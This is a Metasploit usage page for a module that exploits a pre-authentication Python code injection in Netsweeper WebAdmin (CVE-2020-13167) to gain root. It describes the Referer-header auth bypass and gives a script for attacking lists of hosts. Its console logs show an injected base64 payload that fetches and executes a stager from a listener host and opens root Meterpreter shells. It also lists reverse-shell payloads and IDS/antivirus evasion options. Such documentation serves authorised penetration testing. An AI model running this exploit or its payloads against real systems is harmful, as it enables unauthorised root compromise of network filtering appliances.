Netsweeper WebAdmin unixlogin.php Python Code Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/netsweeper_webadmin_unixlogin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Netsweeper WebAdmin unixlogin.php Python Code Injection
Module: exploit/linux/http/netsweeper_webadmin_unixlogin
Source code: modules/exploits/linux/http/netsweeper_webadmin_unixlogin.rb
Disclosure date: 2020-04-28
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-13167

This module exploits a Python code injection in the Netsweeper WebAdmin component's unixlogin.php script, for versions 6.4.4 and prior, to execute code as the root user. Authentication is bypassed by sending a random whitelisted Referer header in each request. Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using netsweeper_webadmin_unixlogin against a single host

Normally, you can use exploit/linux/http/netsweeper_webadmin_unixlogin this way:

msf > use exploit/linux/http/netsweeper_webadmin_unixlogin
msf exploit(netsweeper_webadmin_unixlogin) > show targets
    ... a list of targets ...
msf exploit(netsweeper_webadmin_unixlogin) > set TARGET target-id
msf exploit(netsweeper_webadmin_unixlogin) > show options
    ... show and set options ...
msf exploit(netsweeper_webadmin_unixlogin) > exploit

Using netsweeper_webadmin_unixlogin against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your netsweeper_webadmin_unixlogin will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/netsweeper_webadmin_unixlogin")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Description

This module exploits a Python code injection in the Netsweeper WebAdmin component's unixlogin.php script, for versions 6.4.4 and prior, to execute code as the root user.

Authentication is bypassed by sending a random whitelisted Referer header in each request.

Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable.

Setup

  1. Download the Netsweeper 6.4.3 ISO
  2. Boot from the ISO as a DVD in your preferred virtualization software
  3. Install the system as per the guided prompts

The system is based on CentOS Linux 6, and you may consult CentOS 6 documentation for guidance on the installation process.

The default credentials for WebAdmin are admin:netsweeper if you need to log in to the web interface. This is not required for exploitation.

Verification Steps


Follow Setup and Scenarios.

Targets


0

This executes a Python payload.

Scenarios


Netsweeper 6.4.3 ISO, based on CentOS Linux

msf5 > use exploit/linux/http/netsweeper_webadmin_unixlogin
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > options

Module options (exploit/linux/http/netsweeper_webadmin_unixlogin):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (python/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Python


msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.157
rhosts => 172.16.249.157
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run

[*] Started HTTPS reverse handler on https://172.16.249.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Netsweeper 6.4.3 is a vulnerable version.
[*] Selecting random whitelisted Referer header: webadmin/api/
[*] Injecting Python code into password field: 0IonGkMXLHAz6WEurtI51ymUIkdaTIbP48wmlbCg7', 'd6'); exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMTYuMjQ5LjE6ODQ0My9YSDc1NmxXSnBQbjlUT2hZb19iT01BSldYQmRROScpLnJlYWQoKSkK')[0])) #
[*] Sending python/meterpreter/reverse_https to https://172.16.249.157/webadmin/tools/unixlogin.php
[*] https://172.16.249.1:8443 handling request from 172.16.249.157; (UUID: xvp5ei8z) Staging python payload (53935 bytes) ...
[*] Meterpreter session 1 opened (172.16.249.1:8443 -> 172.16.249.157:54130) at 2020-05-12 00:26:22 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : localhost.localdomain
OS              : Linux 2.6.32-754.25.1.el6.x86_64 #1 SMP Mon Dec 23 15:19:53 UTC 2019
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

Netsweeper 6.4.4 ISO, based on CentOS Linux

msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.160
rhosts => 172.16.249.160
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run

[*] Started HTTPS reverse handler on https://172.16.249.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Netsweeper 6.4.4 is a vulnerable version.
[*] Selecting random whitelisted Referer header: webadmin/systemconfig/edit_email_sending_settings.php
[*] Injecting Python code into password field: 7Ot5EJTCtZeprAkH36J9t2Equy8', 'oL'); exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMTYuMjQ5LjE6ODQ0My9KMFVhZjBVVzFic2lWemREZk8wUjdnVTZCUVBRYycpLnJlYWQoKSkK')[0])) #
[*] Sending python/meterpreter/reverse_https to https://172.16.249.160/webadmin/tools/unixlogin.php
[*] https://172.16.249.1:8443 handling request from 172.16.249.160; (UUID: bh9jykhb) Staging python payload (53873 bytes) ...
[*] Meterpreter session 2 opened (172.16.249.1:8443 -> 172.16.249.160:49172) at 2020-05-12 00:27:22 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : localhost.localdomain
OS              : Linux 2.6.32-754.25.1.el6.x86_64 #1 SMP Mon Dec 23 15:19:53 UTC 2019
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/http/netsweeper_webadmin_unixlogin exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/netsweeper_webadmin_unixlogin

[*] Using configured payload python/meterpreter/reverse_https
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show info

       Name: Netsweeper WebAdmin unixlogin.php Python Code Injection
     Module: exploit/linux/http/netsweeper_webadmin_unixlogin
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-28

Provided by:
  wvu <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Python

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443              yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits a Python code injection in the Netsweeper 
  WebAdmin component's unixlogin.php script, for versions 6.4.4 and 
  prior, to execute code as the root user. Authentication is bypassed 
  by sending a random whitelisted Referer header in each request. 
  Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. 
  Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has 
  been confirmed exploitable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-13167
  https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
  https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says

Module Options


This is a complete list of options available in the linux/http/netsweeper_webadmin_unixlogin exploit:

msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show options

Module options (exploit/linux/http/netsweeper_webadmin_unixlogin):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host

Payload options (python/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path

Exploit target:

   Id  Name
   --  ----
   0   Python

Advanced Options


Here is a complete list of advanced options supported by the linux/http/netsweeper_webadmin_unixlogin exploit:

msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show advanced

Module advanced options (exploit/linux/http/netsweeper_webadmin_unixlogin):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (python/meterpreter/reverse_https):

   Name                         Current Setting                                                Required  Description
   ----                         ---------------                                                --------  -----------
   AutoLoadStdapi               true                                                           yes       Automatically load the Stdapi extension
   AutoRunScript                                                                               no        A script to run automatically on session creation.
   AutoSystemInfo               true                                                           yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false                                                          yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30                                                             no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false                                                          no        Encode the second stage payload
   EnableUnicodeEncoding        false                                                          yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                                                              no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                                                                  no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                                                              no        An optional value to use for the Host HTTP header
   HttpProxyHost                                                                               no        An optional proxy server IP address or hostname
   HttpProxyPass                                                                               no        An optional proxy server password Max parameter length: 63 characters
   HttpProxyPort                                                                               no        An optional proxy server port
   HttpProxyUser                                                                               no        An optional proxy server username Max parameter length: 63 characters
   HttpReferer                                                                                 no        An optional value to use for the Referer HTTP header
   HttpServerName               Apache                                                         no        The server header that the handler will send in response to requests
   HttpUnknownRequestResponse   <html><body><h1>It works!</h1></body></html>                   no        The returned HTML response body when the handler receives a request that is not from a payload
   HttpUserAgent                Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  no        The user-agent that the payload should use for communication Max parameter length: 255 characters
   IgnoreUnknownPayloads        false                                                          no        Whether to drop connections from payloads using unknown UUIDs
   InitialAutoRunScript                                                                        no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true                                                           no        Fork a new process if the functionality is available
   OverrideLHOST                                                                               no        When OverrideRequestHost is set, use this value as the host name for secondary requests
   OverrideLPORT                                                                               no        When OverrideRequestHost is set, use this value as the port number for secondary requests
   OverrideRequestHost          false                                                          no        Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
   OverrideScheme                                                                              no        When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
   PayloadProcessCommandLine                                                                   no        The displayed command line that will be used by the payload
   PayloadUUIDName                                                                             no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                                                              no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                                             no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false                                                          yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                                                              yes       How many additional successful pingbacks
   PingbackSleep                30                                                             yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false                                                          no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false                                                          yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                                                  no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                                                     no        The port to bind to on the local system if different from LPORT
   SessionCommunicationTimeout  300                                                            no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800                                                         no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600                                                           no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10                                                             no        Number of seconds to wait between reconnect attempts
   StageEncoder                                                                                no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                                                   no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true                                                           no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerVerifySSLCert          false                                                          no        Whether to verify the SSL certificate in Meterpreter
   VERBOSE                      false                                                          no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/netsweeper_webadmin_unixlogin module can exploit:

msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/netsweeper_webadmin_unixlogin exploit:

msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/pingback_bind_tcp                              normal  No     Python Pingback, Bind TCP (via python)
   17  payload/python/pingback_reverse_tcp                           normal  No     Python Pingback, Reverse TCP (via python)
   18  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   19  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   20  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   21  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/netsweeper_webadmin_unixlogin exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target did not respond to check.


Here is a relevant code snippet related to the "Target did not respond to check." error message:

72:	        'Referer' => rand_referer(:check) # Auth bypass via Referer header
73:	      }
74:	    )
75:	
76:	    unless res
77:	      return CheckCode::Unknown('Target did not respond to check.')
78:	    end
79:	
80:	    unless res.code == 200
81:	      return CheckCode::Unknown('Target is not running Netsweeper.')
82:	    end

Target is not running Netsweeper.


Here is a relevant code snippet related to the "Target is not running Netsweeper." error message:

76:	    unless res
77:	      return CheckCode::Unknown('Target did not respond to check.')
78:	    end
79:	
80:	    unless res.code == 200
81:	      return CheckCode::Unknown('Target is not running Netsweeper.')
82:	    end
83:	
84:	    if res.body.include?('Permission Denied: Unauthorized access.')
85:	      return CheckCode::Safe('Target has rejected our Referer auth bypass.')
86:	    end

Target has rejected our Referer auth bypass.


Here is a relevant code snippet related to the "Target has rejected our Referer auth bypass." error message:

80:	    unless res.code == 200
81:	      return CheckCode::Unknown('Target is not running Netsweeper.')
82:	    end
83:	
84:	    if res.body.include?('Permission Denied: Unauthorized access.')
85:	      return CheckCode::Safe('Target has rejected our Referer auth bypass.')
86:	    end
87:	
88:	    # Example version information from /webadmin/tools/systemstatus_remote.php:
89:	    #   Version: 6.4.3
90:	    #   Build Date: 2020-03-27 14:15:19

Netsweeper <VERSION> is NOT a vulnerable version.


Here is a relevant code snippet related to the "Netsweeper <VERSION> is NOT a vulnerable version." error message:

99:	      return CheckCode::Appears(
100:	        "Netsweeper #{version} is a vulnerable version."
101:	      )
102:	    end
103:	
104:	    CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
105:	  end
106:	
107:	  def exploit
108:	    referer = rand_referer(:exploit)
109:	    vprint_status("Selecting random whitelisted Referer header: #{referer}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • wvu

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.